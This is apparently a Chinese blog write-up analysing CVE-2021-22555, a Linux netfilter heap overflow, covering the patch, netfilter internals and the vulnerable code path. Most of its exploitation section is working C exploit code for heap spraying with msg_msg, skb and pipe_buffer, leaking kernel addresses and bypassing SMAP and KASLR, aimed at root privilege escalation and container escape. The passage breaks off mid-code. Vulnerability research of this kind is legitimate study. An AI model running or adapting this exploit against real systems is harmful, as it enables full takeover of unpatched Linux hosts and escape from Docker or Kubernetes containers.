从="" x00x00="" 到10000$奖金="" writeup中文[5]="" 隐藏十五年的漏洞:cve-2021-22555="" 漏洞分析与复现="" writeup中文[6]="" linux内核提权="" writeup中文[7]="" msg_msg结构的创建与读取,占位对象[8]="" socketpair的用法和理解="" socketpair()="" 函数,用于堆喷[9]="" linux进程间通信(七):消息队列="" msgget()、msgsend()、msgrcv()、msgctl()="" 创建msg_msg结构,用于堆喷[10]="" linux系统调用:pipe()系统调用源码分析="" pipe堆喷[11]="" 一、netfilter简介="" netfiler="" 背景知识[12]="" linux内核协议栈="" 之="" ip="" 层的table、rule、match、target结构分析="" 背景知识[13]="" 容器逃逸方法="" 英文[14]="" 逃逸="" 中文"="">
文章首发于安全客:CVE-2021-22555 2字节堆溢出写0漏洞提权分析
影响版本:Linux v2.6.19-rc1~v5.12-rc7 v5.12-rc8已修补,漏洞存在了15年,评分7.8。 已修复的版本有 5.12,5.10.31, 5.4.113, 4.19.188, 4.14.231, 4.9.267, 4.4.267。 由syzkaller发现,参见crash现场。
测试版本:Linux-5.11.14 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项:所有 CONFIG_IP_NF_**
和 CONFIG_NETFILTER_**
相关的选项。
CONFIG_USER_NS=y
CONFIG_NET_NS=y
CONFIG_COMPAT=y
CONFIG_IP_NF_IPTABLES=y // /net/ipv4/netfilter/ip_tables.c
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_**=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_XTABLES=y // /net/netfilter/x_tables.c
CONFIG_NETFILTER_XT_MATCH_U32=y
CONFIG_NETFILTER_**=y
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.11.14.tar.xz
$ tar -xvf linux-5.11.14.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:net/netfilter/x_tables.c
中 Netfilter
模块的ip_tables
子模块, 当调用setsockopt()
和选项IPT_SO_SET_REPLACE
(或 IP6T_SO_SET_REPLACE
)时,内核结构需要从32位转换为64位,由于错误计算转换大小,导致在调用 xt_compat_match_from_user() 函数时**堆溢出写 0 **。攻击者可用于提权,或者从docker、k8s容器(kubernetes)中逃逸。需要CAP_NET_ADMIN
权限,或者支持user+network
命名空间。
补丁:patch 取消pad对齐,也可以禁用非特权用户执行CLONE_NEWUSER
、CLONE_NEWNET
,以缓解该漏洞:echo 0 > /proc/sys/user/max_user_namespaces
。
diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c
index 6bd31a7a27fc5..92e9d4ebc5e8d 100644
--- a/net/netfilter/x_tables.c
+++ b/net/netfilter/x_tables.c
@@ -733,7 +733,7 @@ void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
{
const struct xt_match *match = m->u.kernel.match;
struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m;
- int pad, off = xt_compat_match_offset(match);
+ int off = xt_compat_match_offset(match);
u_int16_t msize = cm->u.user.match_size;
char name[sizeof(m->u.user.name)];
@@ -743,9 +743,6 @@ void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
match->compat_from_user(m->data, cm->data);
else
memcpy(m->data, cm->data, msize - sizeof(*cm));
- pad = XT_ALIGN(match->matchsize) - match->matchsize;
- if (pad > 0)
- memset(m->data + match->matchsize, 0, pad);
msize += off;
m->u.user.match_size = msize;
@@ -1116,7 +1113,7 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
- int pad, off = xt_compat_target_offset(target);
+ int off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
@@ -1126,9 +1123,6 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
- pad = XT_ALIGN(target->targetsize) - target->targetsize;
- if (pad > 0)
- memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target_size = tsize;
保护机制:开启KASLR/SMEP/SMAP。
利用总结:
- (1)构造4096个
msg_msg
主消息(0x1000)和辅助消息(0x400),利用2字节溢出写0来修改某个主消息的msg_msg->m_list->next
低2字节,使得两个主消息指向同一个辅助消息,将2字节溢出写0转化为UAF。 - (2)注意,spray对象采用skb对象,victim对象采用
pipe()
管道中的pipe_buf_operations
结构。首先利用skb改大msg_msg->m_ts
,泄露相邻辅助消息的msg_msg->m_list->prev
(主消息地址,也即0x1000堆块地址); - (3)再利用skb伪造
msg_msg->next
指向泄露的主消息地址,泄露msg_msg->m_list->next
(辅助消息地址,也即0x400堆块地址); - (4)再利用skb伪造
msg_msg->m_list->next & prev
,以避免再次释放辅助消息时访问无效链表地址导致崩溃; - (5)使
pipe_buffer
结构占据释放后的0x400空闲块,利用读skb泄露其ops
指针,也即内核基址; - (6)利用skb篡改
pipe_buffer->ops->release
指针,劫持控制流。 - (7)如果需要进行docker或k8s容器逃逸,则ROP链在执行
commit_creds(prepare_kernel_cred(0))
提权后,需执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
,以替换exp进程的命名空间。
简介:Natfilter 是集成到linux内核协议栈中的一套防火墙系统。
数据结构的关系:
- (1)Netfilter 中有包含一些表(table),不同的表用来存储不同功能的配置信息,默认有4种table,还可以另外创建。
- (2)每个table 里有多个chain,chain表示对报文的拦截处理点。例如网络层ipv4有5个拦截点,对应5个chain:报文路由前-
PREROUTING
,需三层转发的报文-FORWARD,本机生成的报文-OUTPUT,本机接收的报文-INPUT,路由后的报文-POSTROUTING。 - (3)每个chain 包含一些用户配置的rule,一条rule包含了一个或多个匹配规则(match)和一个执行动作(target)。如果报文符合匹配规则后,需要根据该执行动作(target)来处理报文。标准的匹配元素包含源/目的IP地址、接收/发送设备、传输层协议这五个元素,标准的执行动作包含ACCEPT、DROP、QUEUE、RETURN。
四大功能(table):
- (1)对报文的过滤(对应filter表),包含3个chain—INPUT/OUTPUT/FORWARD。
- (2)对报文的修改(对应mangle表),包含以上5个chain。
- (3)对会话的连接跟踪(connection track),包含2个chain,OUTPUT/PREROUTING。
- (4)网络地址转换(NAT),包含3个chain,PREROUNGIN/OUTPUT/POSTROUTIN。
table->chain->rule
结构关系图示:在内核空间,每个CPU上维护了一份rule的拷贝(有多少个CPU,就有多少个entries
)。这样做是为了减少锁的使用及增加硬件L1 cache的命中次数,以空间换时间。

table->chain->rule
具体结构:表用 xt_table -> xt_table_info结构表示;每条rule用ipt_entry结构表示;match匹配规则用xt_entry_match表示(用户空间和内核共享同一结构);target执行动作用xt_entry_target表示(用户空间和内核共享同一结构)。
//(1)xt_table —— 表
struct xt_table {
struct list_head list;
/* What hooks you will enter on */
unsigned int valid_hooks;
struct xt_table_info *private; // 指向真正存储rule的结构体
/* Set this to THIS_MODULE if you are a module, otherwise NULL */
struct module *me;
u_int8_t af; // 表所属的协议族
int priority; /* hook order */
/* called when table is needed in the given netns */
int (*table_init)(struct net *net);
const char name[XT_TABLE_MAXNAMELEN]; // 表的名字,如filter/nat/mangle
};
struct xt_table_info {
unsigned int size; // 表中所有规则rule占用的内存大小
unsigned int number; // 表中存的rule个数
unsigned int initial_entries; // 初始化表时创建的默认rule个数
unsigned int hook_entry[NF_INET_NUMHOOKS]; // 各个hook(chain)在表中的偏移量
unsigned int underflow[NF_INET_NUMHOOKS]; // 各个hook(chain)中默认规则在表中的偏移量
unsigned int stacksize;
void ***jumpstack;
unsigned char entries[] __aligned(8); // 数组,存储各个cpu上自己rule拷贝的内存首地址
};
//(2)ipt_entry —— 规则rule
struct ipt_entry
{
struct ipt_ip ip; // 规则的基本匹配条件,源IP/目的IP、输入/输出网卡、协议
unsigned int nfcache;
u_int16_t target_offset; // ipt_entry + matches 这条规则的target距离规则起点的偏移量
u_int16_t next_offset; // ipt_entry + matches + target 下一条规则距离这条规则起点的偏移量
unsigned int comefrom;
struct xt_counters counters; // 计数器,每条规则都有计数器,一旦skb匹配这条规则,那么计数器累加,计数器有字节数和包数两个统计量
unsigned char elems[0]; //这条规则中的match和target,因为不确定到底有几个match,所以使用零长度数组
};
//(3)xt_entry_match —— 匹配规则match,用户空间和内核空间共享match_size和data字段
#define ipt_entry_match xt_entry_match
struct xt_entry_match
{
union { // 用户态和内核态使用不同的结构表示match。它们的第一个成员都是match的总大小
struct { // a. 用户态
u_int16_t match_size;
char name[XT_FUNCTION_MAXNAMELEN-1]; // 该match的版本,通过match的名称与版本信息可以唯一确定一个match。
u_int8_t revision;
} user;
struct { // b. 内核态
u_int16_t match_size;
struct xt_match *match; // 指向扩展的match信息(每一个扩展match都是一个xt_match对象)。根据ipt_entry_match.u.user.name找到对应的match,将ipt_entry_match.u.kernel.match指针指向系统中已注册的struct xt_match对象
} kernel;
u_int16_t match_size; // 整个match占用的内存空间
} u;
unsigned char data[0];
};
//(4)xt_entry_target —— 执行动作target,用户空间和内核空间共享match_size字段
#define ipt_entry_target xt_entry_target
struct xt_entry_target
{
union {
struct { // a. 用户态
u_int16_t target_size;
char name[XT_FUNCTION_MAXNAMELEN-1];
u_int8_t revision;
} user;
struct { // b. 内核态
u_int16_t target_size;
struct xt_target *target; // target信息,如果target->target()函数指针为NULL,那么是一个标准target,否则为扩展target。根据ipt_entry_target.u.user.name找到对应的target,将ipt_entry_target.u.kernel.target指针指向系统中已注册的struct xt_target对象
} kernel;
u_int16_t target_size;
} u;
unsigned char data[0]; // 对于扩展target,该指针指向内容会传给其target()回调,这个指针内容由扩展target自由使用,只要内核态和用户态保持一致就可以
};
应用层与Netfilter的通信机制:netfilter和用户空间进行通信使用的是两个socket的系统调用,setsockopt()
和getsockopt()
,把用户空间的地址传给内核,内核使用copy_from_user()
和 copy_to_user()
来进行数据的传递。基于setsockopt和getsockopt系统调用的机制,Netfilter提供了一个基本框架,允许不同协议的防火墙来自己实现自己和用户空间的通信函数,涉及两个函数,调用nf_register_sockopt()
将nf_sockopt_ops
结构实例注册到netfilter管理的全局链表上,调用nf_sockopt_find()
查找对应命令字的nf_sockopt_ops
结构。

漏洞:xt_compat_target_from_user()函数,将xt_entry_match->data
指向的缓冲区进行8字节对齐,不足8字节的空间清0,但如果target->targetsize
没有8字节对齐,这里会越界将pad个字节清0。target->targetsize
并不由用户直接控制,可以通过选择不同的target结构体类型来控制targetsize
大小。
#ifdef CONFIG_COMPAT
int xt_compat_target_offset(const struct xt_target *target)
{
u_int16_t csize = target->compatsize ? : target->targetsize;
return XT_ALIGN(target->targetsize) - COMPAT_XT_ALIGN(csize);
}
EXPORT_SYMBOL_GPL(xt_compat_target_offset);
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t; // ct=t的副本
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr;
memcpy(t, ct, sizeof(*ct)); // ct 拷贝到 dstptr
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize; // [1] 对缓冲区进行8字节对齐,target->targetsize 用来指定t->data实际使用长度
if (pad > 0)
memset(t->data + target->targetsize, 0, pad); // [2] 将不足8字节的剩余空间清0,存在越界写0
tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off;
*dstptr += tsize;
}
EXPORT_SYMBOL_GPL(xt_compat_target_from_user);
ip_tables模块初始化流程:ip_tables_init() -> nf_register_sockopt() -> struct nf_sockopt_ops ipt_sockopts 注册setsockopt
。这样用户调用setsockopt
时,才能找到对应的处理函数,也即do_ipt_set_ctl()
。
static int __init ip_tables_init(void)
{
int ret;
ret = register_pernet_subsys(&ip_tables_net_ops);
ret = xt_register_targets(ipt_builtin_tg, ARRAY_SIZE(ipt_builtin_tg));
ret = xt_register_matches(ipt_builtin_mt, ARRAY_SIZE(ipt_builtin_mt));
/* Register setsockopt */
ret = nf_register_sockopt(&ipt_sockopts); // <------------- nf_register_sockopt()
[... ...]
return ret;
}
static struct nf_sockopt_ops ipt_sockopts = {
.pf = PF_INET,
.set_optmin = IPT_BASE_CTL,
.set_optmax = IPT_SO_SET_MAX+1,
.set = do_ipt_set_ctl, // <--------------- do_ipt_set_ctl()
.get_optmin = IPT_BASE_CTL,
.get_optmax = IPT_SO_GET_MAX+1,
.get = do_ipt_get_ctl,
.owner = THIS_MODULE,
};
漏洞触发流程:setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, ...)
-> nf_setsockopt() -> do_ipt_set_ctl() -> compat_do_replace() -> translate_compat_table() -> compat_copy_entry_from_user() -> xt_compat_match_from_user & xt_compat_target_from_user()
总之就是将用户传入的rule规则进行转换存储时,出现堆溢出写0。构造用户参数data,通过控制pad大小,控制溢出字节数。data->ipt_replace->size = 0xFB6
,导致分配sizeof(xt_table_info) + ipt_replace->size
= 0x40+0xfB6
= 0xff6
的堆块,转换用户传入规则时错误对齐,刚好溢出覆盖下一个0x1000堆块的前2 字节,造成指针的指向错误。
用户参数:综上,用户传入的参数结构为 ipt_replace + ipt_entry + xt_entry_match + pad + xt_entry_target。注意, compat_ipt_replace 等同于 ipt_replace 结构。
// do_ipt_set_ctl()
static int do_ipt_set_ctl(struct sock *sk, int cmd, sockptr_t arg, unsigned int len)
{
int ret;
if (!ns_capable(sock_net(sk)->user_ns, CAP_NET_ADMIN)) // [1] 需满足 CAP_NET_ADMIN 权限,可以在启动脚本赋予exp权限,或者支持namespace就行
return -EPERM;
switch (cmd) {
case IPT_SO_SET_REPLACE:
#ifdef CONFIG_COMPAT // 编译内核时需设置 CONFIG_COMPAT
if (in_compat_syscall())
ret = compat_do_replace(sock_net(sk), arg, len); // [2] <-----------------
else
#endif
ret = do_replace(sock_net(sk), arg, len);
... ...
return ret;
}
// [2] compat_do_replace() —— 分配 xt_table_info 结构, 拷贝用户参数
static int compat_do_replace(struct net *net, sockptr_t arg, unsigned int len)
{
int ret;
struct compat_ipt_replace tmp;
struct xt_table_info *newinfo;
void *loc_cpu_entry;
struct ipt_entry *iter;
if (copy_from_sockptr(&tmp, arg, sizeof(tmp)) != 0) // [3] 获取size参数,用户参数开头是 compat_ipt_replace (内核)变长结构,等同于 ipt_replace (用户)结构
return -EFAULT;
/* overflow check */
if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters))
return -ENOMEM;
if (tmp.num_counters == 0)
return -EINVAL;
tmp.name[sizeof(tmp.name)-1] = 0;
newinfo = xt_alloc_table_info(tmp.size); // [4] 分配空间 kvmalloc(sz, GFP_KERNEL_ACCOUNT); 分配大小 sz = sizeof(xt_table_info) + ipt_replace->size = 0x40 + (0xFB8 - 0x2) = 0xFF8 - 0x2 注意两点,一是分配采用 GFP_KERNEL_ACCOUNT 标志(与GFP_KERNEL相同,除了分配记入kmemcg),二是分配的堆块属于0x1000。 分配之后赋值 xt_table_info->size = ipt_replace->size = 0xFB6
if (!newinfo)
return -ENOMEM;
loc_cpu_entry = newinfo->entries;
if (copy_from_sockptr_offset(loc_cpu_entry, arg, sizeof(tmp), // [5] 拷贝用户参数, 从偏移arg+sizeof(ipt_replace) 开始拷贝,跳过 ipt_replace 结构
tmp.size) != 0) {
ret = -EFAULT;
goto free_newinfo;
}
ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp); // [6] <--------------
if (ret != 0)
goto free_newinfo;
ret = __do_replace(net, tmp.name, tmp.valid_hooks, newinfo,
tmp.num_counters, compat_ptr(tmp.counters));
... ...
return ret;
}
// [6] translate_compat_table() —— 分配新的 xt_table_info 结构,进行转换
static int translate_compat_table(struct net *net,
struct xt_table_info **pinfo,
void **pentry0,
const struct compat_ipt_replace *compatr)
{
unsigned int i, j;
struct xt_table_info *newinfo, *info;
void *pos, *entry0, *entry1;
struct compat_ipt_entry *iter0;
struct ipt_replace repl;
unsigned int size;
int ret;
info = *pinfo;
entry0 = *pentry0;
size = compatr->size;
info->number = compatr->num_entries; // 传入的是1
... ...
newinfo = xt_alloc_table_info(size); // [7] 分配新的 xt_table_info 结构 —— newinfo, 转换后存入
if (!newinfo)
goto out_unlock;
newinfo->number = compatr->num_entries;
for (i = 0; i < NF_INET_NUMHOOKS; i++) {
newinfo->hook_entry[i] = compatr->hook_entry[i];
newinfo->underflow[i] = compatr->underflow[i];
}
entry1 = newinfo->entries; //
pos = entry1;
size = compatr->size; // size = 0xFB8 - 0x2 = 0xfb6
xt_entry_foreach(iter0, entry0, compatr->size)
compat_copy_entry_from_user(iter0, &pos, &size, // [8] <-------------- 转换entry结构,从32位到64位,传给 newinfo
newinfo, entry1);
... ...
}
// [8] compat_copy_entry_from_user() —— 旧的 xt_table_info 拷贝到新的 xt_table_info 结构
static void compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
unsigned int *size,
struct xt_table_info *newinfo, unsigned char *base)
{
struct xt_entry_target *t;
struct ipt_entry *de;
unsigned int origsize;
int h;
struct xt_entry_match *ematch;
origsize = *size;
de = *dstptr;
memcpy(de, e, sizeof(struct ipt_entry)); // [9] 先拷贝 ipt_entry 结构
memcpy(&de->counters, &e->counters, sizeof(e->counters)); // 包和字节计数
*dstptr += sizeof(struct ipt_entry);
*size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);
xt_ematch_foreach(ematch, e)
xt_compat_match_from_user(ematch, dstptr, size); // [10] 再拷贝 xt_entry_match 结构, off=4, pad=4, msize=u.user.match_size+off=0xf26+4=0xf2a(用户传入的), match->matchsize=4, 拷贝完成后*dstptr+= msize = 0xffff888006e010b0+0xf2a = FFFF888006E01FDA, size+=off = 0xfba
de->target_offset = e->target_offset - (origsize - *size); // target_offset 原来是 ipt_entry + matches 结构的大小,现在减小了 4
t = compat_ipt_get_target(e);
xt_compat_target_from_user(t, dstptr, size); // [11] <------------ 漏洞函数: 再拷贝 xt_entry_target 结构, 如下所示
de->next_offset = e->next_offset - (origsize - *size);
... ...
}
// [11] xt_compat_target_from_user() —— 拷贝 xt_entry_target 结构,对齐导致溢出
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target); // off = target->targetsize = 4
u_int16_t tsize = ct->u.user.target_size; // tsize = 0x20
char name[sizeof(t->u.user.name)];
t = *dstptr; // t = 0xffff888006e01fda
memcpy(t, ct, sizeof(*ct)); // 拷贝0x20
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;// pad = 4
if (pad > 0)
memset(t->data + target->targetsize, 0, pad); // [12] t+0x20+4 处填充pad个0,也就是 0xffff888006e01ffe处填4个0,溢出2个字节, <------------------------- 溢出点
tsize += off; // tsize = 0x24
t->u.user.target_size = tsize; //
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off; // *size= 0xfba+4 = 0xfbe
*dstptr += tsize; // *dstptr = 0xffff888006e01ffe
}
EXPORT_SYMBOL_GPL(xt_compat_target_from_user);
漏洞对象:xt_table_info 变长结构,entries
为用户传入,每个entries
包含 ipt_entry + xt_entry_match + pad + xt_entry_target,第一节中已经介绍过。
struct xt_table_info {
unsigned int size; // entries 总大小, 不包括 xt_table_info 结构大小0x40
unsigned int number; // entries 数目
unsigned int initial_entries;
unsigned int hook_entry[NF_INET_NUMHOOKS];
unsigned int underflow[NF_INET_NUMHOOKS];
unsigned int stacksize;
void ***jumpstack;
unsigned char entries[] __aligned(8); // 每个`entries` 包含 `ipt_entry` + `xt_entry_match` + pad + `xt_entry_target`
};
msg_msg
结构的创建与读取,也即消息的发送与接收,可以参考文章 Linux内核中利用msg_msg结构实现任意地址读写 中对msgsnd()
和msgrcv()
源码的分析过程。
消息队列数目没有限制,但创建越多,exp越稳定
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}
目的:填充4096个主消息,消息大小为0x1000,以得到一个整齐的空间布局,使msg_msg
结构体尽可能相邻。
int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
int msgsend(int msgid, const void *msg_ptr, size_t msg_sz, int msgflg)
msgid——消息队列标识符;msg_ptr——指向结构体{mtype, mtext};msg_ptr.mtext[0]=MSG_TAG
—— 标识该内存区域为堆喷控制;msg_ptr.mtext[4]=i
—— 标识该内存区id,以便识别内存区。

为每个消息队列添加辅助消息,消息大小为0x400,消息标识与主消息对应。
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}

目的:释放第1024、2048、3072个主消息,获得0x1000内存空洞,希望被xt_table_info
结构获得,这样就能利用2字节溢出写0。
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

利用2字节溢出,将相邻的msg_msg结构体中msg_msg->m_list->next
末尾两字节覆盖为0, 使得该主消息的msg_msg->m_list->next
指向其他主消息的辅助消息。
目的:使某个内存被两个主消息引用。
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;

方法:直接查看消息内存,如果主消息和辅助消息队列的标识不同,则表示主消息msg_msg->m_list->next
成员被修改。为保证查看消息时,避免消息被释放,需使用MSG_COPY
标志接收消息。
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}
if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);
使用包含函数指针的victim结构体和spray结构体(skb)来占据msg_msg
。假设现在主消息1和主消息2的msg_msg->m_list->next
指向同一辅助消息。
1.主消息1放弃辅助消息msg_msg, skb占据msg_msg
2.主消息2放弃辅助消息msg_msg, victim结构占据msg_msg
3.此时skb与victim结构占据同一内存空间
4.修改skb劫持victim结构内函数指针
5.触发victim结构函数指针,劫持控制流
但是注意到当实现步骤2时,必须伪造msg_msg->m_list->next
成员,如果此时主消息2释放msg_msg,辅助消息会被从循环链表msg_msg->m_list
中去除,也就是说此阶段会涉及到对于msg_msg->m_list->next
的读写,因为开启了smap保护机制,所以在用户态伪造该字段无意义,内核在此处会检查到smap错误,利用失败,所以接下来需要绕过SMAP。
printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;

注意:伪造m_ts
字段(最大化),表示消息长度,以便越界读取,泄露地址。
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

由于m_ts
变大,可以越界读取相邻辅助消息的消息头,主要是泄露msg_msg->m_list->next
和msg_msg->m_list->prev
(相邻辅助消息的主消息堆地址,记为kheap_addr
)。
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);
释放skb,重新填充该fake辅助消息,msg_msg->next = kheap_addr
,因此,某个主消息成了该辅助消息的segment(msg_msgseg
结构)。这样就能越界读取主消息的头,主消息的msg_msg->m_list->next
指向与之对应的辅助消息,也即fake辅助消息相邻的辅助消息,该内存地址-0x400,即为fake辅助消息的真实地址。
再次释放skb,将fake辅助消息的msg_msg->m_list->next
填充为该fake辅助消息的真实地址,即可再次释放fake辅助消息时避免SMAP崩溃。
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); // fist 8 bytes must be NULL
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

目标:泄露内核基址。
方法:伪造fake辅助消息,msg_msg->m_list->next == msg_msg->m_list->pre == fake辅助消息
;利用主消息2释放辅助消息,使用pipefd
函数分配pipe_buffer
结构体重新占据fake辅助消息堆块;通过读skb泄露anon_pipe_buf_ops
地址,绕过KASLR。pipe_buffer
结构体中ops成员指向全局变量anon_pipe_buf_ops
。
为什么不用tty_struct 来泄露?
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
